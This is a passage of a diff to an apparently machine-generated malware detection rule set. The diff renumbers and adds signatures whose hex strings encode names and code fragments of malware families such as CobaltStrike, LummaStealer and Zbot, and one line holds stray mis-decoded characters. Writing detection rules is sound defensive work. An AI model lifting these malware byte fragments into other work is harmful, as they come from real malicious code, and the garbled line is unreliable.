1)*0+(#a_3a_3 & 1)*19521+(#a_73_4 & 1)*2560) >=5 } -rule _InfrastructureShared_8138{ +rule _InfrastructureShared_8623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -86255,7 +91465,7 @@ rule _InfrastructureShared_8138{ ((#a_46_0 & 1)*16675) >=6 } -rule _InfrastructureShared_8139{ +rule _InfrastructureShared_8624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -86267,7 +91477,7 @@ rule _InfrastructureShared_8139{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*30575+(#a_26_2 & 1)*2304) >=6 } -rule _InfrastructureShared_8140{ +rule _InfrastructureShared_8625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -86281,7 +91491,7 @@ rule _InfrastructureShared_8140{ ((#a_77_0 & 1)*16675+(#a_72_1 & 1)*30580+(#a_53_2 & 1)*24415+(#a_00_3 & 1)*29990+(#a_74_4 & 1)*28496) >=6 } -rule _InfrastructureShared_8141{ +rule _InfrastructureShared_8626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -86295,7 +91505,7 @@ rule _InfrastructureShared_8141{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*17153+(#a_69_3 & 1)*25714+(#a_95_4 & 1)*7231+(#a_c0_5 & 1)*1400) >=6 } -rule _InfrastructureShared_8142{ +rule _InfrastructureShared_8627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 05 00 05 00 21 " @@ -86308,7 +91518,7 @@ rule _InfrastructureShared_8142{ ((#a_54_0 & 1)*18467+(#a_72_2 & 1)*29525+(#a_10_3 & 1)*8192+(#a_95_4 & 1)*7231) >=5 } -rule _InfrastructureShared_8143{ +rule _InfrastructureShared_8628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " @@ -86320,7 +91530,7 @@ rule _InfrastructureShared_8143{ ((#a_46_0 & 1)*16675+(#a_e1_1 & 1)*-25473+(#a_81_2 & 1)*1536) >=7 } -rule _InfrastructureShared_8144{ +rule _InfrastructureShared_8629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -86334,7 +91544,7 @@ rule _InfrastructureShared_8144{ ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*1536+(#a_ff_3 & 1)*1536+(#a_ff_5 & 1)*1536+(#a_00_7 & 1)*30720) >=8 } -rule _InfrastructureShared_8145{ +rule _InfrastructureShared_8630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -86344,7 +91554,7 @@ rule _InfrastructureShared_8145{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_8146{ +rule _InfrastructureShared_8631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -86354,7 +91564,7 @@ rule _InfrastructureShared_8146{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_8147{ +rule _InfrastructureShared_8632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -86364,7 +91574,7 @@ rule _InfrastructureShared_8147{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_8148{ +rule _InfrastructureShared_8633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -86375,7 +91585,7 @@ rule _InfrastructureShared_8148{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*6400) >=10 } -rule _InfrastructureShared_8149{ +rule _InfrastructureShared_8634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -86386,7 +91596,7 @@ rule _InfrastructureShared_8149{ ((#a_54_0 & 1)*18467+(#a_d2_2 & 1)*4359) >=12 } -rule _InfrastructureShared_8150{ +rule _InfrastructureShared_8635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -86398,7 +91608,7 @@ rule _InfrastructureShared_8150{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*2323+(#a_57_2 & 1)*21504) >=12 } -rule _InfrastructureShared_8151{ +rule _InfrastructureShared_8636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 02 00 21 " @@ -86409,7 +91619,7 @@ rule _InfrastructureShared_8151{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*1025) >=14 } -rule _InfrastructureShared_8152{ +rule _InfrastructureShared_8637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -86424,7 +91634,7 @@ rule _InfrastructureShared_8152{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*30035+(#a_18_2 & 1)*1545+(#a_9c_3 & 1)*1025+(#a_00_4 & 1)*101+(#a_70_5 & 1)*25701) >=15 } -rule _InfrastructureShared_8153{ +rule _InfrastructureShared_8638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 03 00 21 " @@ -86436,7 +91646,7 @@ rule _InfrastructureShared_8153{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*4127+(#a_54_2 & 1)*21076) >=21 } -rule _InfrastructureShared_8154{ +rule _InfrastructureShared_8639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 04 00 21 " @@ -86448,7 +91658,7 @@ rule _InfrastructureShared_8154{ ((#a_54_0 & 1)*18467+(#a_5a_1 & 1)*9252+(#a_69_2 & 1)*384) >=22 } -rule _InfrastructureShared_8155{ +rule _InfrastructureShared_8640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -86460,7 +91670,7 @@ rule _InfrastructureShared_8155{ ((#a_4e_0 & 1)*20259+(#a_6f_1 & 1)*28265+(#a_61_2 & 1)*28789) >=30 } -rule _InfrastructureShared_8156{ +rule _InfrastructureShared_8641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -86473,7 +91683,7 @@ rule _InfrastructureShared_8156{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*25637+(#a_20_2 & 1)*29728+(#a_74_3 & 1)*17253) >=40 } -rule _InfrastructureShared_8157{ +rule _InfrastructureShared_8642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 05 00 21 " @@ -86487,7 +91697,7 @@ rule _InfrastructureShared_8157{ ((#a_4e_0 & 1)*20259+(#a_4d_1 & 1)*29251+(#a_61_2 & 1)*18223+(#a_6f_3 & 1)*25956+(#a_6f_4 & 1)*29289) >=40 } -rule _InfrastructureShared_8158{ +rule _InfrastructureShared_8643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -86500,7 +91710,7 @@ rule _InfrastructureShared_8158{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*12148+(#a_46_2 & 1)*21605+(#a_00_3 & 1)*69) >=400 } -rule _InfrastructureShared_8159{ +rule _InfrastructureShared_8644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,fffffff4 01 fffffff4 01 05 00 21 " @@ -86514,7 +91724,7 @@ rule _InfrastructureShared_8159{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*25409+(#a_01_2 & 1)*29296+(#a_04_3 & 1)*-28659+(#a_01_4 & 1)*5558) >=500 } -rule _InfrastructureShared_8160{ +rule _InfrastructureShared_8645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86524,7 +91734,7 @@ rule _InfrastructureShared_8160{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8161{ +rule _InfrastructureShared_8646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86534,7 +91744,7 @@ rule _InfrastructureShared_8161{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8162{ +rule _InfrastructureShared_8647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86544,7 +91754,7 @@ rule _InfrastructureShared_8162{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8163{ +rule _InfrastructureShared_8648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86554,7 +91764,7 @@ rule _InfrastructureShared_8163{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8164{ +rule _InfrastructureShared_8649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86564,7 +91774,7 @@ rule _InfrastructureShared_8164{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8165{ +rule _InfrastructureShared_8650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86574,7 +91784,7 @@ rule _InfrastructureShared_8165{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8166{ +rule _InfrastructureShared_8651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86584,7 +91794,7 @@ rule _InfrastructureShared_8166{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8167{ +rule _InfrastructureShared_8652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86594,7 +91804,7 @@ rule _InfrastructureShared_8167{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8168{ +rule _InfrastructureShared_8653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86604,7 +91814,7 @@ rule _InfrastructureShared_8168{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8169{ +rule _InfrastructureShared_8654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86614,7 +91824,7 @@ rule _InfrastructureShared_8169{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8170{ +rule _InfrastructureShared_8655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86624,7 +91834,7 @@ rule _InfrastructureShared_8170{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8171{ +rule _InfrastructureShared_8656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86634,7 +91844,7 @@ rule _InfrastructureShared_8171{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8172{ +rule _InfrastructureShared_8657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86644,7 +91854,7 @@ rule _InfrastructureShared_8172{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8173{ +rule _InfrastructureShared_8658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86654,7 +91864,7 @@ rule _InfrastructureShared_8173{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8174{ +rule _InfrastructureShared_8659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86664,7 +91874,17 @@ rule _InfrastructureShared_8174{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8175{ +rule _InfrastructureShared_8660{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 4a 54 4e 21 4d 54 42 00 01 00 4b 03 8b 85 bc fc 90 01 02 40 89 85 90 01 04 81 bd 90 01 08 73 90 01 01 8b 85 90 01 04 0f be 8c 05 90 01 04 8b 85 90 01 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_8661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -86674,7 +91894,27 @@ rule _InfrastructureShared_8175{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_8176{ +rule _InfrastructureShared_8662{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 47 50 53 21 4d 54 42 00 01 00 54 03 02 50 07 02 50 8e 69 5d 02 50 07 02 50 8e 69 5d 91 06 07 06 8e 69 5d 91 61 28 90 01 01 00 00 0a 02 50 07 17 58 02 50 8e } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_8663{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 47 52 52 21 4d 54 42 00 01 00 4b 01 48 89 74 24 50 0f 11 74 24 40 48 c7 44 24 58 00 00 00 00 c7 44 24 38 58 02 00 00 c7 44 24 30 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_8664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -86685,7 +91925,7 @@ rule _InfrastructureShared_8176{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*121) >=1 } -rule _InfrastructureShared_8177{ +rule _InfrastructureShared_8665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -86696,7 +91936,7 @@ rule _InfrastructureShared_8177{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*105) >=1 } -rule _InfrastructureShared_8178{ +rule _InfrastructureShared_8666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -86707,7 +91947,7 @@ rule _InfrastructureShared_8178{ ((#a_54_0 & 1)*18467+(#a_d2_1 & 1)*0) >=1 } -rule _InfrastructureShared_8179{ +rule _InfrastructureShared_8667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -86718,7 +91958,7 @@ rule _InfrastructureShared_8179{ ((#a_54_0 & 1)*18467+(#a_7d_1 & 1)*-30463) >=1 } -rule _InfrastructureShared_8180{ +rule _InfrastructureShared_8668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -86729,19 +91969,19 @@ rule _InfrastructureShared_8180{ ((#a_69_0 & 1)*21539+(#a_00_1 & 1)*30720) >=1 } -rule _InfrastructureShared_8181{ +rule _InfrastructureShared_8669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_54_0 = {3a 50 57 53 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 42 58 00 01 00 17 03 e8 01 00 00 00 c3 31 f6 6a 00 ff 15 90 01 03 00 31 c0 50 ff 15 90 00 01 00 18 02 e8 01 00 00 00 c3 6a 40 68 00 30 00 00 68 90 01 03 00 6a 00 ff 15 90 00 01 00 23 01 33 c1 8b 4d e4 } //18467 $a_88_1 = {fe 01 00 00 8b 45 fc 40 89 45 fc 8b 45 fc 3b 45 f4 75 04 83 65 fc 00 eb b7 00 00 78 7f 00 00 01 00 01 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 5f 6c 65 63 70 65 74 65 78 64 6c 5f 61 00 01 00 13 01 8d 4d f8 51 68 00 87 01 00 8b 55 f4 52 8b 45 e0 50 ff 15 01 00 14 01 03 72 c3 0d 76 77 47 4e 3c 22 d6 cc 95 58 e3 9e d2 50 1a a7 01 00 1c 03 6a 04 8d 45 cc 50 8b 85 90 01 02 ff ff 83 c0 08 50 ff b5 90 01 02 ff ff ff 15 90 00 00 00 78 7f 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4d 6f 7a 61 61 6b 61 69 2e 43 43 21 4d 54 42 00 02 00 4e 03 44 01 cf 4c 89 db 48 f7 d3 4c 21 dd 4c 89 f2 48 21 da 48 09 ea 89 dd 83 e5 03 4c } //19715 - $a_31_2 = {44 09 db 44 21 f3 83 e3 03 48 09 eb 48 c1 e3 04 31 ed 48 83 7c 19 10 90 02 01 40 0f 97 c5 01 fd 49 83 c6 04 48 83 c6 90 02 01 0f 85 90 00 00 00 78 7f 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 50 55 41 3a 41 64 64 72 } //-6903 + $a_31_2 = {44 09 db 44 21 f3 83 e3 03 48 09 eb 48 c1 e3 04 31 ed 48 83 7c 19 10 90 02 01 40 0f 97 c5 01 fd 49 83 c6 04 48 83 c6 90 02 01 0f 85 90 00 00 00 78 7f 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 } //-6903 condition: ((#a_54_0 & 1)*18467+(#a_88_1 & 1)*19715+(#a_31_2 & 1)*-6903) >=1 } -rule _InfrastructureShared_8182{ +rule _InfrastructureShared_8670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -86751,7 +91991,7 @@ rule _InfrastructureShared_8182{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_8183{ +rule _InfrastructureShared_8671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -86761,7 +92001,28 @@ rule _InfrastructureShared_8183{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_8184{ +rule _InfrastructureShared_8672{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 69 6e 6d 69 6e 65 72 2e 43 43 4a 5a 21 4d 54 42 00 02 00 4d 01 44 6f 77 6e 6c 6f 61 64 73 5c 53 61 70 70 68 69 72 65 5f 4d 69 6e 65 72 5f 53 6f 75 72 63 65 5c 53 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_8673{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 41 65 72 6f 64 79 6e 61 6d 69 63 46 72 69 64 67 65 2e 41 21 64 68 61 00 01 00 1f 01 50 61 72 73 65 55 52 4c 20 66 61 69 6c 65 64 20 77 69 74 68 20 65 72 72 6f 72 3d 25 64 2e 0a 01 00 24 } //16675 + $a_67_1 = {6a 62 6f 73 73 2e 69 6e 76 6f 63 61 74 69 6f 6e 2e 4d 61 72 73 68 61 6c 6c 65 64 56 61 6c 75 65 00 00 78 7f 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 50 55 41 3a 41 64 64 72 6f 70 21 62 69 74 00 01 00 1b 01 33 d2 8b c7 f7 75 10 8a 04 1a 8b 54 24 0c 32 04 17 47 88 01 49 3b fe 72 e7 eb 3b 01 00 3f 03 53 56 57 68 90 01 04 68 90 01 04 33 db 8b } //28417 + condition: + ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*28417) >=2 + +} +rule _InfrastructureShared_8674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -86772,7 +92033,7 @@ rule _InfrastructureShared_8184{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*400) >=2 } -rule _InfrastructureShared_8185{ +rule _InfrastructureShared_8675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -86783,7 +92044,7 @@ rule _InfrastructureShared_8185{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*17153) >=2 } -rule _InfrastructureShared_8186{ +rule _InfrastructureShared_8676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -86794,7 +92055,7 @@ rule _InfrastructureShared_8186{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*31090) >=2 } -rule _InfrastructureShared_8187{ +rule _InfrastructureShared_8677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -86805,7 +92066,7 @@ rule _InfrastructureShared_8187{ ((#a_54_0 & 1)*18467+(#a_55_1 & 1)*-1931) >=2 } -rule _InfrastructureShared_8188{ +rule _InfrastructureShared_8678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -86816,30 +92077,43 @@ rule _InfrastructureShared_8188{ ((#a_54_0 & 1)*18467+(#a_8d_1 & 1)*400) >=2 } -rule _InfrastructureShared_8189{ +rule _InfrastructureShared_8679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 63 63 72 79 70 74 2e 47 55 21 4d 54 42 00 01 00 07 00 81 01 e1 34 ef c6 c3 01 00 24 00 83 ec 08 89 54 24 04 c7 04 24 00 00 00 00 8b 44 24 0c 89 04 24 8b 44 24 04 31 04 24 8b 04 24 89 } //16675 - $a_08_1 = {01 00 1d 02 36 dd 96 53 81 44 24 90 01 01 3a dd 96 53 8b 54 24 90 01 01 8b 4c 24 90 01 01 d3 90 00 00 00 78 7f 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 75 64 4d 6f 64 75 6c 65 2e 44 21 64 68 61 00 01 00 1a 01 63 72 61 73 68 64 6d 70 5f 64 61 74 61 5f 73 63 74 69 6f 6e 5f 73 74 61 72 74 01 00 1a 01 63 72 61 73 68 64 6d 70 5f 64 61 74 61 5f 73 65 63 74 69 6f 6e 5f 73 69 7a 65 01 00 14 01 6e 74 5f 64 61 74 61 5f 73 63 74 69 6f 6e 5f 73 74 61 72 74 00 00 78 7f 00 00 02 00 02 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4e 53 49 53 44 4c } //-31999 - $a_63_2 = {79 70 74 6f 72 2e 41 31 00 01 00 14 01 89 d0 c1 e0 02 01 d0 c1 e0 02 01 d0 c1 e0 03 29 d0 85 c0 75 01 00 14 03 89 c2 80 ca b0 a1 90 01 02 00 10 b1 6b d3 f8 39 c2 7d 90 00 01 00 21 03 b1 ec d3 e0 85 c0 75 90 01 01 a1 90 01 02 00 10 89 c2 b1 63 d3 e2 a1 08 90 01 02 10 39 c2 7c 90 00 00 00 78 7f 00 00 02 } //17484 + $a_08_1 = {01 00 1d 02 36 dd 96 53 81 44 24 90 01 01 3a dd 96 53 8b 54 24 90 01 01 8b 4c 24 90 01 01 d3 90 00 00 00 78 7f 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 75 64 4d 6f 64 75 6c 65 2e 44 21 64 68 61 00 01 00 1a 01 63 72 61 73 68 64 6d 70 5f 64 61 74 61 5f 73 63 74 69 6f 6e 5f 73 74 61 72 74 01 00 1a 01 63 72 61 73 68 64 6d 70 5f 64 61 74 61 5f 73 65 63 74 69 6f 6e 5f 73 69 7a 65 01 00 14 01 6e 74 5f 64 61 74 61 5f 73 63 74 69 6f 6e 5f 73 74 61 72 74 00 00 78 7f 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 } //-31999 + $a_72_2 = {70 6f 6f 6e 2e 44 21 64 68 61 00 01 00 12 80 01 68 74 74 70 73 3a 2f 2f 6f 6d 6e 69 62 72 61 69 6e 2e 01 00 1d 80 01 2e 62 61 73 74 69 6f 6e 67 6c 6f 62 61 6c 2e 61 7a 75 72 65 2e 63 6f 6d 2f 61 70 69 2f 01 00 15 80 01 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 36 36 36 38 00 00 78 } //26485 condition: - ((#a_46_0 & 1)*16675+(#a_08_1 & 1)*-31999+(#a_63_2 & 1)*17484) >=2 + ((#a_46_0 & 1)*16675+(#a_08_1 & 1)*-31999+(#a_72_2 & 1)*26485) >=2 } -rule _InfrastructureShared_8190{ +rule _InfrastructureShared_8680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 75 64 4d 6f 64 75 6c 65 2e 44 21 64 68 61 00 01 00 1a 01 63 72 61 73 68 64 6d 70 5f 64 61 74 61 5f 73 63 74 69 6f 6e 5f 73 74 61 72 74 01 00 1a 01 63 72 61 73 68 64 6d 70 5f 64 61 74 61 } //16675 牔橯湡场湩㐶䘯摵潍畤敬䐮搡慨Āᨀ持慲桳浤彰慤慴獟瑣潩彮瑳牡Ŵᨀ持慲桳浤彰慤慴 - $a_63_1 = {69 6f 6e 5f 73 69 7a 65 01 00 14 01 6e 74 5f 64 61 74 61 5f 73 63 74 69 6f 6e 5f 73 74 61 72 74 00 00 78 7f 00 00 02 00 02 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4e 53 49 53 44 4c 4c 44 65 63 72 79 70 74 6f 72 2e 41 31 00 01 00 14 01 89 d0 c1 e0 02 01 d0 c1 e0 02 01 d0 c1 e0 03 29 d0 85 c0 } //29535 + $a_63_1 = {69 6f 6e 5f 73 69 7a 65 01 00 14 01 6e 74 5f 64 61 74 61 5f 73 63 74 69 6f 6e 5f 73 74 61 72 74 00 00 78 7f 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 44 21 64 68 61 00 01 00 12 80 01 68 74 74 70 73 3a 2f 2f 6f 6d 6e 69 62 72 61 69 } //29535 + $a_00_2 = {1d } //11886 condition: - ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29535) >=2 + ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29535+(#a_00_2 & 1)*11886) >=2 } -rule _InfrastructureShared_8191{ +rule _InfrastructureShared_8681{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 44 21 64 68 61 00 01 00 12 80 01 68 74 74 70 73 3a 2f 2f 6f 6d 6e 69 62 72 61 69 6e 2e 01 00 1d 80 01 2e 62 61 73 74 69 6f 6e 67 6c 6f 62 61 6c 2e 61 7a 75 } //16675 + $a_63_1 = {6d 2f 61 70 69 2f 01 00 15 80 01 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 36 36 36 38 00 00 78 7f 00 00 02 00 02 00 03 00 21 23 } //25970 + $a_50_2 = {52 3a 48 53 54 52 3a 4e 53 49 53 44 4c 4c 44 65 63 72 79 70 74 6f 72 2e 41 31 00 01 00 14 01 89 d0 c1 e0 02 01 d0 c1 e0 02 01 d0 c1 e0 03 29 d0 85 c0 75 01 00 14 03 89 c2 80 ca b0 a1 90 01 02 00 10 b1 6b d3 f8 } //19521 + condition: + ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*25970+(#a_50_2 & 1)*19521) >=2 + +} +rule _InfrastructureShared_8682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -86851,7 +92125,7 @@ rule _InfrastructureShared_8191{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1+(#a_7f_2 & 1)*0) >=2 } -rule _InfrastructureShared_8192{ +rule _InfrastructureShared_8683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -86862,7 +92136,7 @@ rule _InfrastructureShared_8192{ ((#a_46_0 & 1)*16675+(#a_00_1 & 